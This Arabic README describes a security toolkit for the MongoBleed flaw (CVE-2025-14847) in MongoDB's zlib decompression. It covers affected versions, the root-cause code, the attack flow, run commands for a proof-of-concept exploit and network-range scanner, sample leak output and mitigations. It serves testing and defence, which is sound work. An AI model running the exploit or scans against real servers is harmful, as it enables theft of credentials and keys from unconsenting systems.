
مختبر الاستغلال، docker وماسح الكود لثغرة mongobleed CVE-2025-14847 بالإضافة إلى أدوات Phoenix Security Sync
CVE-2025-14847 | CVSS 8.7 (عالي) | كشف غير مصادَق للذاكرة
📖 الوثائق الكاملة • 🔬 تحليل فني • ⚡ أوامر سريعة
MongoBleed هي ثغرة كشف حرجة للذاكرة في طبقة نقل الشبكة لـ MongoDB تسمح للمهاجمين عن بعد غير المصادق عليهم باستخراج ذاكرة كومة حساسة دون أي بيانات اعتماد أو تفاعل المستخدم.
| الفئة | الوصف |
|---|
| نوع الهجوم | كشف ذاكرة عن بعد غير مصادق عليه |
| السبب الجذري | إرجاع حجم المخزن المؤقت المخصص بدلاً من طول البيانات الفعلي بعد فك ضغط zlib |
| البيانات المكشوفة | كلمات مرور قاعدة البيانات، مفاتيح API، رموز الجلسات، بيانات اعتماد AWS، حالة الخادم الداخلية |
| الخطورة | CVSS 8.7 (عالي) - يمكن الوصول عبر الشبكة، لا يتطلب مصادقة |
| الاستغلال | استغلال نشط يُلاحظ في البيئة الحية منذ 28 ديسمبر 2025 |
| الفرع | ضعيف | تم الإصلاح | الإجراء |
|---|---|---|---|
| 8.2.x | 8.2.0 → 8.2.2 | 8.2.3 | الترقية فوراً |
| 8.0.x | 8.0.0 → 8.0.16 | 8.0.17 | الترقية فوراً |
| 7.0.x | 7.0.0 → 7.0.27 | 7.0.28 | الترقية فوراً |
| 6.0.x | 6.0.0 → 6.0.26 | 6.0.27 | الترقية فوراً |
| 5.0.x | 5.0.0 → 5.0.31 | 5.0.32 | الترقية فوراً |
| 4.4.x | 4.4.0 → 4.4.29 | 4.4.30 | الترقية فوراً |
| ≤4.2.x | جميع الإصدارات | لا يوجد | ⚠️ منتهي الدعم - الانتقال إلى إصدار مدعوم |
| الجانب | التفاصيل |
|---|---|
| ما هو الضعيف | طبقة نقل الشبكة لخادم MongoDB التي تستخدم ضغط zlib |
| الخطورة | عالي (CVSS 8.7/7.5) |
| التأثير | كشف غير مصادق عن بعد لذاكرة الكومة غير المهيأة |
| لماذا يهم | تحتوي الشظايا المسربة على كلمات مرور قاعدة البيانات، مفاتيح AWS السرية، وحالات الخادم الداخلية |
| حالة الاستغلال | Proof-of-Concept عامة "mongobleed" تم التحقق منها وتنتشر |
| ما يجب فعله اليوم | الترقية إلى الإصدارات المصححة فوراً أو تعطيل ضغط zlib |
توجد الثغرة في طبقة نقل الشبكة لـ MongoDB (message_compressor_zlib.cpp) حيث عيب حرج في منطق فك ضغط zlib يسمح للمهاجمين غير المصادقين بتسريب ذاكرة خادم حساسة.
// الكود الضعيف (قبل الإصلاح)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ إرجاع حجم المخزن المؤقت المخصص
// الكود المُصحَح (بعد الإصلاح)
counterHitDecompress(input.length(), output.length());
return length; // ✅ إرجاع الطول الفعلي للبيانات بعد فك الضغط
┌─────────────────────────────────────────────────────────────────────────────┐
│ هجوم MongoBleed │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ المهاجم MongoDB الضعيف │
│ │ │ │
│ │ 1. إرسال رسالة OP_COMPRESSED │ │
│ │ uncompressedSize: 8192 (كذب) │ │
│ │ البيانات الفعلية: ~100 بايت │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. تخصيص مخزن مؤقت بحجم 8192 بايت │
│ │ 3. فك ضغط ~100 بايت │
│ │ 4. العلة: إرجاع buffer.length()=8192 │
│ │ 5. محلل BSON يقرأ ذاكرة غير مهيأة │
│ │ │ │
│ │ 6. استجابة خطأ تحتوي على ذاكرة │ │
│ │ مسربة كـ "أسماء حقول" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 البيانات المسربة: │ │
│ - مفاتيح API، كلمات مرور، رموز │
│ - الحالة الداخلية لـ MongoDB │
│ - إعدادات تخزين WiredTiger │
│ - معلومات /proc للنظام │
│ - بيانات اتصال العملاء │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
| التاريخ | الحدث |
|---|---|
| 15 ديسمبر 2025 | تم تحديد الثغرة؛ التذكرة الداخلية SERVER-115508 |
| 19 ديسمبر 2025 | تم إصدار الإصلاح، الكشف عن CVE-2025-14847 |
| 24 ديسمبر 2025 | تم تصحيح أسطول MongoDB Atlas |
| 26 ديسمبر 2025 | إصدار PoC العامة "mongobleed" |
| 28 ديسمبر 2025 | ملاحظة استغلال في البيئة الحية |
🔬 راجع التحليل الفني ← للحصول على تشريح تفصيلي للثغرة، بناء الاستغلال، وطرق الكشف.
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 مختبر الاستغلال
│ ├── docker-compose.yml # نسخ MongoDB ضعيفة ومصححة
│ ├── mongobleed.py # PoC استغلال تسرب الذاكرة
│ ├── init/init-mongo.js # بيانات اختبار حساسة
│ ├── test-exploit.sh # سكربت اختبار المختبر
│ └── README.md # وثائق المختبر
│
├── scanner/ # 🌐 ماسح الشبكة
│ ├── mongobleed_scanner.py # ماسح ضعف IP/نطاق
│ ├── sample-targets.txt # ملف أهداف عينة
│ └── README.md # وثائق الماسح
│
├── code-scan/ # 📂 ماسح الكود
│ ├── main.py # نقطة دخول CLI
│ ├── scanners/ # ماسحات Docker، Python، البنية التحتية
│ ├── models/ # نماذج الاكتشاف، الضعف
│ ├── integrations/ # رفع إلى Phoenix Security
│ └── README.md # وثائق ماسح الكود
│
└── original-exploit/ # 📚 مرجع PoC الأصلي
cd exploit
# بدء المختبر (نسخ ضعيفة + مصححة)
docker-compose up -d
sleep 10
# اختبار النسخة الضعيفة (يجب أن تسرب ذاكرة)
python3 mongobleed.py --host localhost --port 27017
# اختبار النسخة المصححة (يجب ألا تسرب ذاكرة)
python3 mongobleed.py --host localhost --port 27018
# اختبار المختبر الكامل
./test-exploit.sh
cd scanner
# مسح مضيف واحد
python3 mongobleed_scanner.py 192.168.1.100
# مسح نطاق شبكة
python3 mongobleed_scanner.py 192.168.1.0/24
# مسح من ملف
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
cd code-scan
# مسح مشروع للبحث عن إصدارات MongoDB الضعيفة
python3 main.py scan /path/to/project
# مسح ورفع إلى Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# تشغيل الاختبارات
python3 main.py test
# === مختبر الاستغلال ===
# بدء المختبر
cd exploit && docker-compose up -d && sleep 10
# تشغيل الاستغلال (النسخة الضعيفة)
python3 exploit/mongobleed.py --host localhost --port 27017
# تشغيل الاستغلال (النسخة المصححة - تحقق من عدم وجود تسريبات)
python3 exploit/mongobleed.py --host localhost --port 27018
# === ماسح الشبكة ===
# مسح المختبر المحلي
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# مسح الشبكة
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === ماسح الكود ===
# مسح الدليل الحالي
python3 code-scan/main.py scan .
# مسح مع إخراج JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json
# مسح ورفع إلى Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
[*] mongobleed - CVE-2025-14847 تسريب ذاكرة MongoDB
[*] الهدف: localhost:27017
[*] مسح الإزاحات 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] الهدف ضعيف أمام CVE-2025-14847
[*] إجمالي المسرب: 8748 بايت
[*] الشظايا الفريدة: 42
[!] تم اكتشاف أسرار محتملة:
• مفتاح RSA خاص
• سر المختبر
[*] مسح 254 هدفاً مع 10 خيوط...
[1/254] 192.168.1.10:27017 - 8.2.2 [ضعيف - مؤكد]
[2/254] 192.168.1.11:27017 - 8.2.3 [آمن]
الملخص:
----------------------------------------
إجمالي الأهداف التي تم مسحها: 254
المضيفات القابلة للوصول: 12
نسخ MongoDB: 8
الضعيفة: 3
================================================================================
تقرير ماسح كود MONGOBLEED - CVE-2025-14847
================================================================================
🚨 تم اكتشاف إصدارات MongoDB ضعيفة
1. [email protected]
الملف: /project/docker-compose.yml
النوع: docker-compose
السبب: الإصدار 8.2.2 ضمن النطاق الضعيف [8.2.0 - 8.2.2]
✅ الترقية إلى: 8.2.3
CVE: CVE-2025-14847
| الأولوية | الإجراء | التفاصيل |
|---|---|---|
| 🔴 1 | ترقية MongoDB | التحديث إلى الإصدارات المصححة (8.2.3، 8.0.17، 7.0.28، 6.0.27، 5.0.32، 4.4.30) |
| 🟠 2 | تعطيل zlib | mongod --setParameter networkMessageCompressors=snappy,zstd |
| 🟡 3 | عزل الشبكة | حماية المنفذ 27017 بجدار ناري، استخدام VPN/شبكة خاصة |
| 🔵 4 | تدوير بيانات الاعتماد | إذا تعرضت، قم بتدوير جميع كلمات مرور قاعدة البيانات، مفاتيح API، الرموز |
جميع الماسحات تدعم رفع النتائج إلى منصة Phoenix Security:
# إنشاء التكوين
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# تحرير ببيانات اعتمادك
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# مسح ورفع
python3 code-scan/main.py scan /path/to/project --upload-phoenix
⚠️ هام: هذه المجموعة مقدمة لأغراض اختبار الأمن المصرح به والبحث فقط.
| الوثيقة | الوصف |
|---|---|
| 📖 DOCUMENTATION.md | وثائق المشروع الكاملة مع الإعداد والاستخدام والمعالجة |
| 🔬 TECHNICAL_ANALYSIS.md | تشريح الثغرة بالتفصيل، آلية الاستغلال، والكشف |
| ⚡ QUICK_COMMANDS.md | أوامر جاهزة للنسخ واللصق لجميع الأدوات |
| الأداة | الوثائق | الوصف |
|---|---|---|
| 🔴 مختبر الاستغلال | exploit/README.md | مختبر MongoDB ضعيف/مصحح قائم على Docker |
| 🌐 ماسح الشبكة | scanner/README.md | ماسح ضعف IP/CIDR |
| 📂 ماسح الكود | code-scan/README.md | ماسح قاعدة الكود للبحث عن الإصدارات الضعيفة |
لاختبارات الأمن المصرح بها فقط. استخدم بمسؤولية.
آخر تحديث: ديسمبر 2025